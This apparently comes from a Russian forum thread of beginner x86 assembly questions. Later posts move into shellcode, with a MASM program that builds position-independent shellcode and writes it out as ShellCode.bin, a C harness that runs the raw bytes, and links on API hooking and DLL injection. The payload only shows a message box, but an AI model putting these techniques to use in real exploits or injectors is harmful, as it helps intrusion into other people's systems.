Если тебе так не дает покоя этот вопрос, то проведи собственное расследование и поделись с общественностью, чтоб все знали, то это и как влияет, и каким боком.

GRRRL Power
09.08.2011, 17:44
Тебе уже дважды написали, что загрузчик это поле тупо игнорирует. Или ты собрался делать PE под какие-то компьютеры Alpha, которые потенциально могут это поле юзать?

tim-oleksii
09.08.2011, 19:44
Оставь васм и криса на потом. Ознакомься хотя бы с шестнадцатеричной системой счисления и прямым, обратным и дополнительным кодом.

KIR@PRO
09.08.2011, 19:57
кто знает как умножить два 64 разрядных целых беззнаковых числа???? MMX SSE SSE2??? искал долго ничего конкретного не нашел...



Зарание Благодарю.;)

FireFenix
09.08.2011, 21:29
Да причём тут загрузчик?
Я хотел знать назначение и способ использования этого поля, пусть хоть и юзается на Alpha, MIPS, ARM и других системах

freshman
18.08.2011, 10:47
всем привет начал изучать асм. толко вот возникли проблемы на начале
проблема у меня стоит windows 7 nasm как я понял 64 битный ибо система 64 бинтная
создаю ехе -> nasm -f bin -о hello.ехе hello.asm

сама прога создаётся толко запустит неудаётся так как надо 32 или 64 версия фаила как создать эту 32 битную версию низнаю может както в самом кода я читал что по умолчаню в нормалном режыме создаются 16 битные а в защищёном 32

вот кода проги: я делаю это по книге Марек Ассамблер на Примерах глава программы под dos


SECTION .text
;Эта программа выводит на экран текст "Hello, World!'
;конец строки {EOL - End Of Line) и завершает работу
org 0x100
mov ah,0x9
mov dx,hello
int 0x21
mov ah,0x4C
mov al,0
int 0x21
SECTION .data
hello DB "Hello,World!",0xd,0xa,'$'
;конец программы

GRRRL Power
18.08.2011, 12:06
Эта программа получится 16-битной, а если система 64, то запустить такое и не удастся.

freshman
18.08.2011, 12:42
как зделат её 64 битнои?

GRRRL Power
18.08.2011, 13:02
Достаточно сделать ее 32-битной, написав на 32-битном ассемблере под Windows, а не под дос. Тогда они будет работать под 32-битными и 64-битными виндами.

DooD
18.08.2011, 13:10
либо запускать на 32 разрядной системе, либо в эмуляторе DOS'a

freshman
18.08.2011, 13:23
ну это и так понятно разве nasm не 32 бинтыйи :/ :) там наверное для компилации нужа какаето другая команда .. в книге примеры пошли сперва на дос потом под windows но мине надоело читать сухои матерял без примероф нелзя никак запустить DOS~пpилoжeния 16бит в среде Windows 32/46бит ?

DooD
18.08.2011, 13:29
выше пост я для кого написал?

freshman
18.08.2011, 14:18
sorry незаметил ! , спасибо !! работает cкачал DosBoх патом надо установить папку стоит в мануале как ну и запустил com фаил почемуто ехе нешли из под дос
и ешё вапрос что значит это ,0xd,0xa,'$' в конце Hello World ?

DooD
18.08.2011, 15:47
0dh и 0ah '$' это перевод каретки и окончание строки

.::f-duck::.
19.08.2011, 13:32
http://i.imgur.com/jKZhI.png
Что это и зачем это нужно?

DooD
19.08.2011, 13:46
хекс код.16-тиричная система исчисления

.::f-duck::.
19.08.2011, 14:03
Это я, как ни странно, понимаю. Я не понимаю, зачем он там нужен, какую функцию несет.
Для полноты картины:
http://i.imgur.com/B5lYZ.png

GRRRL Power
19.08.2011, 14:14
Сегмент данных, который содержит, соответственно, данные.

2pick
23.08.2011, 13:52
{Swap pointers}
procedure XChg(var Critical, Normal); assembler;
asm
mov ecx,
xchg , ecx
mov , ecx
end;

Что делает эта функция?
Переодически 2-я строчка выдает "Access Violation"

DooD
23.08.2011, 14:07
все равно что присвоение переменных

2pick
23.08.2011, 14:14
Что чему присваивается и длячего вообще делают такое извращение?

DooD
23.08.2011, 15:48
считай что дельфийским методом будет так:
var a:word
begin
a:=Normal;
Normal:=Critical;
Critical:=a;

просто пример обмена указателями на встроенном ассемблере.

2pick
23.08.2011, 19:04
Так то на самом деле не пример - cobain2k использует в своем TICQClient в модуле по работе с сокетами...

DooD
23.08.2011, 19:14
ааа...просто ассесблерный код в много раз быстрее ж выполняется.

[ STEF ]
27.08.2011, 01:43
а если вписать cobain2k

-=SunShine=-
04.09.2011, 16:24
Пыьаюсь сделать файл l11.asm в exe
ввожу:
C:\myasm\bin\ml.exe /c /coff C:\l11.asm
Эта команда прошла пишет:
Assembling: C:\l11.asm
Пишу вторую...
C:\myasm\bin\link.exe /subsystem:windows C:\l11.obj
Выдаёт ошибку:
LINK : fatal error LNK1181: cannot open input file "C:\l11.obj"


Microsoft Windows XP
(С) Корпорация Майкрософт, 1985-2001.

C:\Documents and Settings\Admin>C:\myasm\bin\ml.exe /c /coff C:\l11.asm
Microsoft (R) Macro Assembler Version 6.14.8444
Copyright (C) Microsoft Corp 1981-1997. All rights reserved.

Assembling: C:\l11.asm

C:\Documents and Settings\Admin>C:\myasm\bin\link.exe /subsystem:windows C:\l11.
obj
Microsoft (R) Incremental Linker Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

LINK : fatal error LNK1181: cannot open input file "C:\l11.obj"

C:\Documents and Settings\Admin>

Глянте пожалуйста. В чём на этот раз мой грех
Компилятор C:\myasm
Прога C:\l11.asm

DooD
04.09.2011, 16:38
юзай poasm и polink

-=SunShine=-
04.09.2011, 16:49
осмелюсь спросить что это такое))) Я под Windows учусь

DooD
04.09.2011, 16:52
компилятор и линкер соотв.

SHAG
04.09.2011, 17:00
Может код выложишь, че гадать?!

-=SunShine=-
04.09.2011, 17:34
.386
.model flat, stdcall
.code
start:
mov eax, 2
add eax, 3
ret
end start

DooD
04.09.2011, 17:50
инклуды подобовляй
.386
.model flat,stdcall
option casemap:none

include include\windows.inc
include include\kernel32.inc
include include\user32.inc

includelib lib\kernel32.lib
includelib lib\user32.lib
вот шаблонизированный заголовок.

SHAG
04.09.2011, 17:51
Вот мой батник:
"С:\masm32\bin\ml" /c /coff dd.asm
"С:\masm32\bin\link" /SUBSYSTEM:CONSOLE /LIBPATH:"С:\masm32\lib" dd.obj

-=SunShine=-
04.09.2011, 17:54
DooD так как ты написал я зделал пишет не может найти include\windows.inc

SHAG
04.09.2011, 17:59
ты случайно не из книги А. Крупника "Изучаем ассемблер" исходники берешь? По умолчанию масм устанавливается в папку \masm32, а у тебя путь \myasm

DooD
04.09.2011, 18:04
так пути пропиши по которой у тебя папка include и lib

-=SunShine=-
04.09.2011, 18:04
хз тут написано myasm нужно но щас попробую. да из этой книги

-=SunShine=-
04.09.2011, 18:09
тоже самое у меня 2 компилятора стоят masm32 и myasm. Я вполном недоуении C:\masm32\bin\ml.exe /c /coff C:\l11.asm
C:\masm32\bin\link.exe /subsystem:windows C:\l11.obj

SHAG
04.09.2011, 18:17
Создай текстовый документ, вставть в него это:
"C:\masm32\bin\ml" /c /coff 11.asm
"C:\masm32\bin\link" /SUBSYSTEM:CONSOLE /LIBPATH:"C:\masm32\lib" 11.obj

Переименуй в make.bat и запусти.
на fasm ваще гемороя с этим нет
include 'win32ax.inc'
start:
mov eax, 2
add eax, 3
ret

#andrew#
11.09.2011, 11:47
Помогите плиз со стеком...начинаю изучать асм
.code
start:
mov eax,2
mov ecx,3
push eax
push ecx
pop eax
pop ecx
end start
Вопрос такой,отправили в регистр eax 2,ecx 3, запихали 2,потом 3ку,получается тройка сверху осталась,последний зашел,первый вышел,как мы попаем eax первым если до него ecx сверху,или я чтот путаю...

GRRRL Power
11.09.2011, 12:03
mov eax,2
mov ecx,3
Стек пустой.

push eax
стек:
======
2
======

push ecx
стек:
======
3
2
======

pop eax
стек:
======
2
======
В регистре eax теперь 3.

pop ecx
Стек пуст, в регистре ecx теперь 2.

#andrew#
11.09.2011, 12:09
вот то что я и хотел,чтобы показали имеено рисунком,так понятней!спс GRRRL Power

Zuckerberg
18.09.2011, 23:59
Посоветуйте литературу для изучения ассемблера новичку.

Kaimi
19.09.2011, 01:15
Разделом ошибся. Несколько книг здесь посоветовано:
https://forum.antichat.net/thread89681.html

Ins3t
19.09.2011, 10:18
Любой справочник по командам + Фасмовская дока.

TikTik
20.09.2011, 17:54
На торренте для начинающих появилась классная раздача, сам ещё не смотрел только качаю

http://rutracker.org/forum/viewtopic.php?t=3740249

MTV
21.09.2011, 21:33
Не могу додуматься...Ребят подскажите,как определить сколько в файле строк и сколько в каждой строке символов?

DooD
21.09.2011, 21:40
считать файл,посчитать кол-во байт 0dh,0ah.

GRRRL Power
21.09.2011, 21:43
Вопрос конкретнее надо задавать. На асме? Под винду?

Если да, то вот самый простой вариант (но и медленный):
Открываем файл, читаем его посимвольно до тех пор, пока не встретится символ "\n" (ASCII-код 10) (или можно отслеживать последовательность "\r\n"). Количество прочитанных символов до "\n" - это число символов в строке. Суммарное количество символов "\n" - это число строк.

Для ускорения можно читать и обрабатывать файл блоками.

DeepBlue7
01.10.2011, 01:29
Простой вопрос - какими командами ассемблера можно записать значение на оффсет ?

Т.е. на 00AD8200, к примеру, записать nop.

Kaimi
01.10.2011, 01:38
mov eax, 00AD8200h
mov byte ptr, 090h

MTV
01.10.2011, 21:12
Что-то я не пойму.Почему завершается с ошибкой?У меня винда 7.Ребят,помогите :)
.386
option casemap:none
.model flat,stdcall
;######################################3
includelib \masm32\lib\kernel32.lib
include \masm32\include\kernel32.inc
include \masm32\include\windows.inc
;######################################3
.data
_user db 'user32.dll',0
_MessageBox db 'MessageBoxA',0
buf db 'xD',0
.code
start:
invoke LoadLibrary,addr _user
test eax,eax
jz exit
mov ebx,eax
invoke GetProcAddress,ebx,addr _MessageBox
push 0
push 0
push offset buf
push 0
call eax
exit:
invoke ExitProcess,0
end start
Все нашел ошибку,исправил...Отладчик мой любимый друг :)

web-magician
04.10.2011, 21:36
народ у меня windows 7 64bit на нее пошел только FASMW и как мне кажется он отличается от MASM есть какие нибудь самоучители к нему???Хочу научиться и уже начал читать книгу Калашникова но MASM у меня не пашет...Подскажите что делать???

DooD
04.10.2011, 21:40
у меня тоже 7 х64 и я пишу на масме.скачай нормальный масм для винды.или вот попробуй мою http://splashed.ucoz.ru/setup.zip

Ins3t
04.10.2011, 21:53
по фасму есть его же дока и даже на русском. а примеры калашникова переводятся на фасм за нефиг делать, достаточно прочесть пару тройку страниц официальной доки фасма.

swt1
04.10.2011, 22:43
http://msdn.microsoft.com/en-us/library/hb5z4sxd.aspx

bad_boy
04.10.2011, 22:48
web-magician
Тут http://wasm.ru/doclist.php?list=6#133 - Руководство к FASM на русском
И тамошний форум читай.

Flisk
10.10.2011, 17:28
http://fasm.su - русскоязычний сайт по фасм, есть уроки. Правда, пока что очень мало инфы.

Подскажите по примерам из книги Кип Ирвин по Масм.
Есть такой пример, самый простой


Я скопировал инклуд этот (Irvine32.inc и другие) в папку masm32\includes, скопировал либы. Но ничего не работает - если запускать как есть (т.е. с инклудом ), то идет ошибка:
error LNK2001: unresolved external symbol _ExitProcess@4

Если добавить (логично же) Irvine32.lib, то появляется огромная куча таких ошибок, вида
error LNK2001: unresolved external symbol _ExitProcess@4
irvine32.lib(Irvine32.obj) : error LNK2001: unresolved external symbol _CloseHan
dle@4
irvine32.lib(Irvine32.obj) : error LNK2001: unresolved external symbol _CreateFi
leA@28
irvine32.lib(Irvine32.obj) : error LNK2001: unresolved external symbol _FormatMe
ssageA@28
irvine32.lib(Irvine32.obj) : error LNK2001: unresolved external symbol _FlushCon
soleInputBuffer@4
irvine32.lib(Irvine32.obj) : error LNK2001: unresolved external symbol _GetComma
ndLineA@0
irvine32.lib(Irvine32.obj) : error LNK2001: unresolved external symbol _GetConso

Что я делаю не так? помнится, d_x учился по этой книге. Или тут надо использовать "обычный" масм, а не масм32?

upd. Извиняюсь, вопрос снят! надо добавить инклуды либ кернел32 и юзер32. Сообщение можете удалить, или оставить, вдруг кому пригодится.

SkyLoader
12.10.2011, 20:23
Приветствую всех.
Работаю в ida и в хексе этой программы. У меня есть такой вопрос:
У меня есть проверка, при которой происходит действие jz loc_1000115D. Обычно я встречаю проверки, состоящие из двух ячеек в хексе (например 74 57), однако в этом случае у меня там стоит шесть ячеек (0F 84 A2 00 00 00).
Когда мне надо заменить jz на jmp, то я меняю на EB (74 57 -> EB 57). Как мне поступить в случае с шестью ячейками? Я пробовал менять 0F на EB, то это приводит к ошибке.

GRRRL Power
12.10.2011, 21:01
Я библиотеку irvine из книги не использовал. Учил только команды, макросы, WinAPI, которого там немного было. То, что DOS'а там касалось, вообще не читал.

Flisk
15.10.2011, 16:36
А почему так? Библиотека же упрощает ввод-вывод. Или ее минус в том, что приучает к посторонним либам, отучая от апи?

Хотел еще спросить. Я нашел в Масм интересную либу, msvcrt.lib. Подскажите, как вызвать с нее какие-то функции? Нет ли какого-нибудь примера? Например, открытие и запись в файл? Я пробовал вызывать их через Call или Invoke, но не получается ничего.

GRRRL Power
15.10.2011, 17:11
Не использовал, потому что сам через АПИ все делал, да. Преимущественно GUI.

msvcrt.lib - это старая библиотека рантаймов CRT (C, C++). Какие там интерфейсы вызовов, не знаю.

DooD
15.10.2011, 17:27
я юзаю сторонние либы когда средствами апи дольше получается.
msvcrt это либа содержащая функции с.
через инвок не вызываются там функции на сколько я помню,вызываются через пуш к примеру
push offset mode
push offset fname
call fopen
+ после вызова желательно выровнять стэк
add esp, 8
mov , eax
хэндл файла в eax.

GRRRL Power
15.10.2011, 19:52
invoke это вообще-то макрос, который и раскрывается в push-push-...-call. Но в crt, скорее всего, действительно cdecl-функции, поэтому надо будет выравнивать стек руками.

DooD
15.10.2011, 22:09
я знаю что макрос,по идее если указать прототипы функции то возможно будет его применить.

GRRRL Power
15.10.2011, 22:18
Да, так и есть, MASM32 умеет вызывать и stdcall, и cdecl функции при заданном прототипе.

MTV
15.10.2011, 23:27
Кто подскажет как найти сразу 3 и более символов следующих друг за другом?Вот код:

mov ecx,100
mov edi,offset stroka
mov eax,'H'
repne scasb

Один символ могу найти, а 3 нет.Заранее благодарен.

DooD
15.10.2011, 23:59
потому что ты ищешь символ,а тебе надо искать слово.Значит уже как минимум будет использоваться адрес источника и адрес приемника,соответственно придется сравнивать пару строк,надеюсь понятно намекнул?

Flisk
16.10.2011, 11:25
DooD, спасибо, как добавил add esp, 8, так все и заработало.
В Си есть много интересных функций, они проще и удобней некоторых апи, поэтому было интересно, как их вызывать.

SEKTOR3A
23.10.2011, 21:54
плз покажите пару примеров на асме написания шелкода hello world на примере этого исходного кода ,

как ксорить нулевые байты
format pe gui 4.0


include 'D:/include/win32ax.inc'
section '.data' data readable writeable
message db 'hello world',0

start:


invoke MessageBox,NULL,message,message,MB_OK
invoke ExitProcess,1

.end start

#andrew#
01.11.2011, 21:59
SEKTOR3A

option casemap:none

.386
.model flat, stdcall

include z:\asm\include\windows.inc
include z:\asm\include\user32.inc
include z:\asm\include\kernel32.inc

includelib z:\asm\lib\user32.lib
includelib z:\asm\lib\kernel32.lib

.data
msg01 db 'Assembler Hello World!!!', 0
msg02 db 'Hello World Programm', 0
.code
start:
invoke MessageBox,NULL,addr msg01,addr msg02, MB_OK
invoke ExitProcess, 0
end start

Может как-нибудь так?прошу не пинать сильно,сам начал только что изучать асм.

SEKTOR3A
02.11.2011, 12:11
пробовал на масме твоё код скомпелить выдает ошибку
include c:\masm32\include\windows.inc :inc(98) error A2005 symbol redefinition: char

хотя у тебя в исходниках вроде нет ошибок но у меня инклуд не дает скомпелить в чем может проблема тут быть

swt1
02.11.2011, 16:10
.386
.model flat, stdcall
option casemap:none

include D:\masm32\include\windows.inc
include D:\masm32\include\user32.inc
include D:\masm32\include\kernel32.inc

includelib D:\masm32\lib\user32.lib
includelib D:\masm32\lib\kernel32.lib

.data
msg01 db 'Assembler Hello World!!!', 0
msg02 db 'Hello World Programm', 0
.code
start:
invoke MessageBox,NULL,addr msg01,addr msg02, MB_OK
invoke ExitProcess, 0
end start

Flisk
02.11.2011, 18:19
Проблема в порядке подключения инклудов, я сам когда-то долго с этим разбирался. Надо сначала кернел.инк подключать, потом виндоуз, а не наоборот.

Почему так - хз, может кто нибудь более грамотный (типа d_x или slesh) мог бы объяснить

DooD
02.11.2011, 19:10
надо сначала windows.inc подключать,пример выше правильный ,только я так и не понял при чем тут шелкод и ксор байт?

SEKTOR3A
03.11.2011, 02:29
а разницы нет чем скомпелить фасмом или масмом главное чтоб сработало
делаю следующее компелю этот код

FASM

format pe gui 4.0
include 'D:/include/win32ax.inc'
section '.data' data readable writeable
message db 'hello world',0

start:


invoke MessageBox,NULL,message,message,MB_OK
invoke ExitProcess,1

.end start
,после смотрю в дебагер

00401007 > 6A 00 PUSH 0 аргумент <- стиль сообщения
00401009 68 00104000 PUSH Hellowor.00401000 ; ASCII "hello " на строку с заголовком
0040100E 68 00104000 PUSH Hellowor.00401000 ; ASCII "hello " на строку с с текстом
00401013 6A 00 PUSH 0 <- параметр - хендл окна
00401015 FF15 7C204000 CALL DWORD PTR DS:

потом собераю опкод в бенарный вид
вот так , 6A0068001040006800104000FF157C2040006A01FF155E204000

после преобразую его в шелкод таким образом

"\х6A\х00\х68\х00\х10\х40\х00\х68\х00\х10\х40\х00\хFF\х15\х7C\х20\х40\х00\х6A\х01\хFF\х15\х5E\х20\х40\х00"

после всего запускаю с++ и компелю
таким образом

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <iostream>
#include <windows.h>

int main(){
unsigned char shellcode=

"\х6A\х00\х68\х00\х10\х40\х00\х68\х00\х10\х40\х00\хFF\х15\х7C\х20\х40\х00\х6A\х01\хFF\х15\х5E\х20\х40\х00";



system("PAUSE");

((void (*)())shellcode)();

return 0;
}

но так как присутствую нули будет ошибка открывается автоматом дебагер и указывает адрес access violation at 0x0022ff18 :write of address 0xf54337f5.process stopped

поэтому и спрашиваю как избавится от нулевых байтов или я может не так что то делаю?

GRRRL Power
03.11.2011, 08:33
Когда явно запускаешь шеллкод, нули тебе никак не помешают. Просто ты, кажется, неправильно его преобразовал в двоичный вид в си, забыв об обратном порядке следования байтов в архитектуре x86. Плюс ко всему, в программе на асме строки в куче статической хранятся, и в шеллкод их будет очень проблематично перенести. Поэтому лучше их записывать в стек и оттуда же использовать. И да, еще, вызов винапи-фукцкий тоже производится через таблицу импорта по абсолютному адресу, ее тоже не перенесешь.

SEKTOR3A
03.11.2011, 12:18
Спасибо за ответ.
вот сделал пример со стекам
format pe gui 4.0 include 'D:\include\win32ax.inc' section '.data' data readable writeable message db '*H','e','l','l','o', '***','A','n','t','i','c','h','a','t*',0 start: push dword MB_OK push dword message push dword message push dword 0 call call .end start
, а как тут прикрутить к этому исходному коду импорт библиотек
пример этого
section '.idata' import data readable writeable
library kernel32,'kernel32.dll'
import kernel32,\
ExitProcess,'ExitProcess'

и.т.д

PS: да еще в отладчике не меняются адреса что со стеками работать что без них ,если смотреть по первому исходному коду и по второму не имеет значение адреса одни и те же

Kaimi
03.11.2011, 12:22
Почитай лучше что-нибудь на тему написания подобного
http://forum.antichat.ru/showthread.php?t=38435
http://www.vividmachines.com/shellcode/shellcode.html

#andrew#
03.11.2011, 17:11
Не знаю, подключал инклуды в разных порядках и не заметил разницы,работает и так и так одинаково!!!

Sams
04.11.2011, 10:45
Шелл-код - это базонезависимый код, т.е. может функционировать без ошибок независимо от того, в каком месте программы он находится.

Какой же это шелл-код?
00401007 > 6A 00 PUSH 0 аргумент <- стиль сообщения
00401009 68 00104000 PUSH Hellowor.00401000 ; ASCII "hello " на строку с заголовком
0040100E 68 00104000 PUSH Hellowor.00401000 ; ASCII "hello " на строку с с текстом
00401013 6A 00 PUSH 0 <- параметр - хендл окна
00401015 FF15 7C204000 CALL DWORD PTR DS:
Где здесь наблюдается базонезависимость?
При преобразовании такого кода в бинарный поток нарушается все смещения относительно базы и адреса. Он никогда не будет работать.


Нулевые байты тут вообще не при чем. Вы перечитали литературы по написанию сплойтов используя уязвимость stack overflow. Это заблуждение.

Базонезависимый код можно написать в двух вариантах: полный базонезависимый и частично. Как написать полную базонезависимость, включая "ручной" поиск и вычисления адресов API функций, я даже и пытаться не буду объяснить, а вот второй метод - частичная базонезависимость, могу.

Суть частичной базонезависимости заключается в предварительном пропатчивание шелл-кода уже найденными адресами функций. Таким образом программа разбивает на две части: подготавливающий код, и собственно сам базонезависимый.

Писал под MASM:

.386
.model flat, stdcall

option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
_ExitProcess db 'ExitProcess',0
_MessageBoxA db 'MessageBoxA',0
_user32 db 'user32.dll',0
_kernel32 db 'kernel32.dll',0

.code
Main:
;подготавливающий код
;находим адрес ExitProcess
push offset _kernel32
call LoadLibraryA

push offset _ExitProcess
push eax
call GetProcAddress

mov __ExitProcess,eax

;находим адрес MessageBoxA
push offset _user32
call LoadLibraryA

push offset _MessageBoxA
push eax
call GetProcAddress

mov __MessageBoxA,eax

;шелл-код готов. Можно копировать куда надо либо запускать.
;Размер шелл-кода - SizeOfShellcode. Начало в ShellCode.

;шелл-код
ShellCode:
call GetDelta

GetDelta:
pop ebp
sub ebp,offset GetDelta

push 0
lea eax,
push eax
push eax
push 0
call

push 0
call

__ExitProcess dd 0
__MessageBoxA dd 0
__Message db 'I am shellcode',0
SizeOfShellcode equ ($-offset ShellCode)
end Main


При линковке обязательно нужно разрешить секцию кода для записи, ключом /SECTION:.text,RWE

Минусы данного метода: в разных версиях одной и той же win, адреса API функций - разные. Потому данный шелл-код будет работать не везде.
Плюсы данного метода: охренеть какая компактность, по сравнению с полной независимость.

В принципе теперь через CreateFileA/WriteFile можно записать готовый шелл-код в виде бинарного потока в отдельный файл, указав начало шелл-кода - адрес метки ShellCode, а размер, он же число записываемых байт - константу SizeOfShellcode.

SEKTOR3A
04.11.2011, 17:33
еще один вопрос хотел бы спросить, как можно перехватить API MessageBoxA при помощи хука этой же программы (hello world) чтоб при запуске программы hello world просто исчезло само окно MessageBox ,мне известно что можно это сделать при помощи .dll библиотеки которая и будет перехватывать MessageBox окно ,

что нужно учитывать при написание такой .dll нужно ли смотреть на загрузку exe файла (hello world ) в память списков адресов функций импортируемых из различных Dll. oткомпилированный вызов функции через таблицу импорта или этого мало

GRRRL Power
04.11.2011, 21:47
Есть разные способы перехвата (через таблицу импорта, через запись своего кода в начало нужной API-функции и т.д.)

http://kaimi.ru/2010/08/your-own-injector/

Sams
04.11.2011, 23:08
SEKTOR3A,
советую перед прочтением http://kaimi.ru/2010/08/your-own-injector/ ознакомится с http://www.rsdn.ru/article/baseserv/IntercetionAPI.xml - тут больше теории и собственно сама суть.

SEKTOR3A
07.11.2011, 12:07
плиз подскажите какой утилитой быстрей собрать бинарный код (опкод) в шелкод нужно ли его собирать с право налево или как обычно ,я делаю таким образом запускаю олю выбираю себе нужный .ехе файл для сплоита жму в оли на ф8 смотрю начало точку входа и останова после собираю весь код стр+с но не меняю байты так иду как обычно с лево на право,
пример куска кода
00401005 . E86E000000 call 00401078 ; \LoadLibraryA
0040100A . 68 00304000 push 403000 ; /ProcNameOrOrdinal = "ExitProcess"
0040100F . 50 push eax ; |hModule
00401010 . E8 5D000000 call 00401072 ; \GetProcAddress

беру опкоды
E86E000000680030400050E85D000000
потом так
\xE8\x6E\x00\x00\x00\x68\x00\x30\x40\x00\x50\xE8\x5D\x00\x00\x00

правильно я делаю?





PS:смотрел раздел по адресу http://www.shellcode.ru/index.php?name=News&file=print&sid=18
автор описывает то что
От хакера требуется всеми силами избегать ситуации, когда в шелл-коде появляются нулевые байты

а тут описание шелкода опкоды заносятся с лева на право как тогда правильней?
http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html

Sams
07.11.2011, 15:03
та омг, это не шелл-код! Это просто запись набора байтов в понятный для С языка вид.


как раз наоборот, записать бинарный код шелл-кода, в понятном для С языка виде.

С этой работой идеально справиться WinHex. Открываешь через данный хекс-редактор файл с опкодами, выделяешь, затем в меню Edit - Copy Block - C Source. Забрать результат можно из буфера обмена.
Только здесь нужно учитывать один нюанс, опкоды в файле должны быть не просто скопированы, т.е. в текстовом виде, а записаны именно как байты. Через обычный текстовый редактор такое проделать не удастся.

SEKTOR3A
07.11.2011, 18:22
а если сразу скопировать его в GREP hex то получается сразу типо того
\xE8\x6E\x00\x00\x00\x68\x00\x30\x40\x00\x50\xE8\x 5D\x00\x00\x00

а в C Source будет так
unsigned char data = {
0x4D, 0x5A, 0x90, 0x00,

а копировать нужно сразу весь .ехе файл в хекс редакторе или только
до ExitProcess

но я и так и так пробовал не выходит с тем кодом hello world который ты написал скомпелил его через масм норм все скомпелилось ,а дальше я застрял , после как все скомпелил открыл Hello world через хекс редактор как ты сказал собрал код вставил его в компилятор на C ,после компиляции на C файл .ехе (ехплоит просто завис и открылся дебагер показав адрес ошибки

Sams
07.11.2011, 19:31
Смотри, когда ты открываешь скомпилированный экзешник через хекс редактор, то ты получаешь просто структурированный (PE-EXE) код. Но ты не учел тот факт, что перед корректной работой шелл-кода нужно выполнить подготавливающий код, который патчит, прописывая адреса. Т.е. тебе нужно вначале выполнить часть программы, и только затем из оперативки выдрать бинарный поток уже пропатченного шелл-кода. Именно из ОЗУ, но никак не из физической памяти. Только в этом случае он будет работоспособным.
Именно для этого случая я и написал, что нужно использовать CreatFileA/WriteFile. Таким образом после выполнения подготавливающего кода, уже пропатченный шелл код копируется в файл, который в свою очередь и скармливается хекс редактору.

Sams
07.11.2011, 19:47
В общем вот, дописал, не мучайся:

.386
.model flat, stdcall

option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
_ExitProcess db 'ExitProcess',0
_MessageBoxA db 'MessageBoxA',0
_user32 db 'user32.dll',0
_kernel32 db 'kernel32.dll',0
fName db 'ShellCode.bin',0
temp dd 0

.code
Main:
;подготавливающий код
;находим адрес ExitProcess
push offset _kernel32
call LoadLibraryA

push offset _ExitProcess
push eax
call GetProcAddress

mov __ExitProcess,eax

;находим адрес MessageBoxA
push offset _user32
call LoadLibraryA

push offset _MessageBoxA
push eax
call GetProcAddress

mov __MessageBoxA,eax

;шелл-код готов. Можно копировать куда надо либо запускать.
;Размер шелл-кода - SizeOfShellcode. Начало в ShellCode.

;создаем пустой файл
xor eax,eax
push eax
push eax
push CREATE_ALWAYS
push eax
push eax
push GENERIC_WRITE
push offset fName
call CreateFileA
push eax

;копируем шелл-код в файл, в виде бинарного потока
push 0
push offset temp
push SizeOfShellcode ;размер шелл-кода
push offset ShellCode ;буфер - шелл-код
push eax
call WriteFile

;закрываем файл
pop eax
call CloseHandle

;шелл-код
ShellCode:
call GetDelta

GetDelta:
pop ebp
sub ebp,offset GetDelta

push 0
lea eax,
push eax
push eax
push 0
call

push 0
call

__ExitProcess dd 0
__MessageBoxA dd 0
__Message db 'I am shellcode',0
SizeOfShellcode equ ($-offset ShellCode)
end Main

После выполнения кода получишь, в папке с прогой, файл под именем ShellCode.bin. Это и есть шелл-код в виде бинарного потока. Открывай его через хекс редактор, преобразовывай в понятный для С язка вид, и можешь исполнять.

SEKTOR3A
09.11.2011, 08:30
спасибо что помогаешь но все таки у меня есть к тебе вопрос
смотри на все что ты описал делаю все так же
линканул последний исходный код
таким образом
c:\masm32\bin\Link.exe /SUBSYSTEM:WINDOWS /SECTION:.text,RWE ShellCode.obj
pause

но не как не создался ShellCode.bin,а создался ShellCode.ехе файл в той же папке где компилятор масм без папки темп
после запустил ShellCode.ехе сразу создался ShellCode.bin файл потом открыл его хекс редактором снял код вставил его в С

исходный код на С
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <iostream>
#include <windows.h>



int main(){
unsigned char shellcode="\xE8\x00\x00\x00\x00\x5D\x81\xED\x6E\x10\x40\x00\x6A\x00\x8D\x85\x97\x10\x40\x00\x50\x50\x6A\x00\xFF\x95\x93\x10\x40\x00\x6A\x00\xFF\x95\x8F\x10\x40\x00\x62\x3D\x40\x77\x19\xD6\x87\x76\x49\x20\x61\x6D\x20\x73\x68\x65\x6C\x6C\x63\x6F\x64\x65\x00";


((void (*)())shellcode)();
system("PAUSE");
return 0;
}

компилирую на С бинарный поток выдранный с хекс редактора ,компилирует норм но не запускает .ехе файл ,снова открывается дебагер и указывает адрес ошибки

здесь одно но или я не правильно линкую на масме или на С



а это сам hello world который ты написал (последний исходник)
в бинарном виде на С
unsigned char data = {
0xE8, 0x00, 0x00, 0x00, 0x00, 0x5D, 0x81, 0xED, 0x6E, 0x10, 0x40, 0x00, 0x6A, 0x00, 0x8D, 0x85,
0x97, 0x10, 0x40, 0x00, 0x50, 0x50, 0x6A, 0x00, 0xFF, 0x95, 0x93, 0x10, 0x40, 0x00, 0x6A, 0x00,
0xFF, 0x95, 0x8F, 0x10, 0x40, 0x00, 0x62, 0x3D, 0x40, 0x77, 0x19, 0xD6, 0x87, 0x76, 0x49, 0x20,
0x61, 0x6D, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x00
};

Sams
09.11.2011, 10:30
Он и не должен был создаться. ShellCode.exe создает ShellCode.bin в результате своей работы, после выполнения.

Шелл-код на выходе получается 100% работоспособный - проверенно. У тебя же проблема, скорее всего, кроется в MessageBoxA. Она экспортируется из ДЛЛ user32.dll, которая твоей программой не используется, а значит её и нету в области памяти процесса. Я на С не писал, не пишу, и писать не буду, потому конкретным куском кода помочь не могу. А так просто возьми, и подключи user32.dll в своей программе и всё заработает.

Sams
09.11.2011, 12:46
А еще, как вариант, можно взвесить подгрузку user32.dll на плечи шелл-кода.

P.S. Я в коде допустил ошибку, где вызывается функция CloseHandle. Нужно перед ней убрать команду pop eax.

И так, вот генерация шелл-кода, который осуществляет подгрузку user32.dll самостоятельно, т.е. в своей программе на С подгрузку делать уже не придется.

.386
.model flat, stdcall

option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
_kernel32 db 'kernel32.dll',0
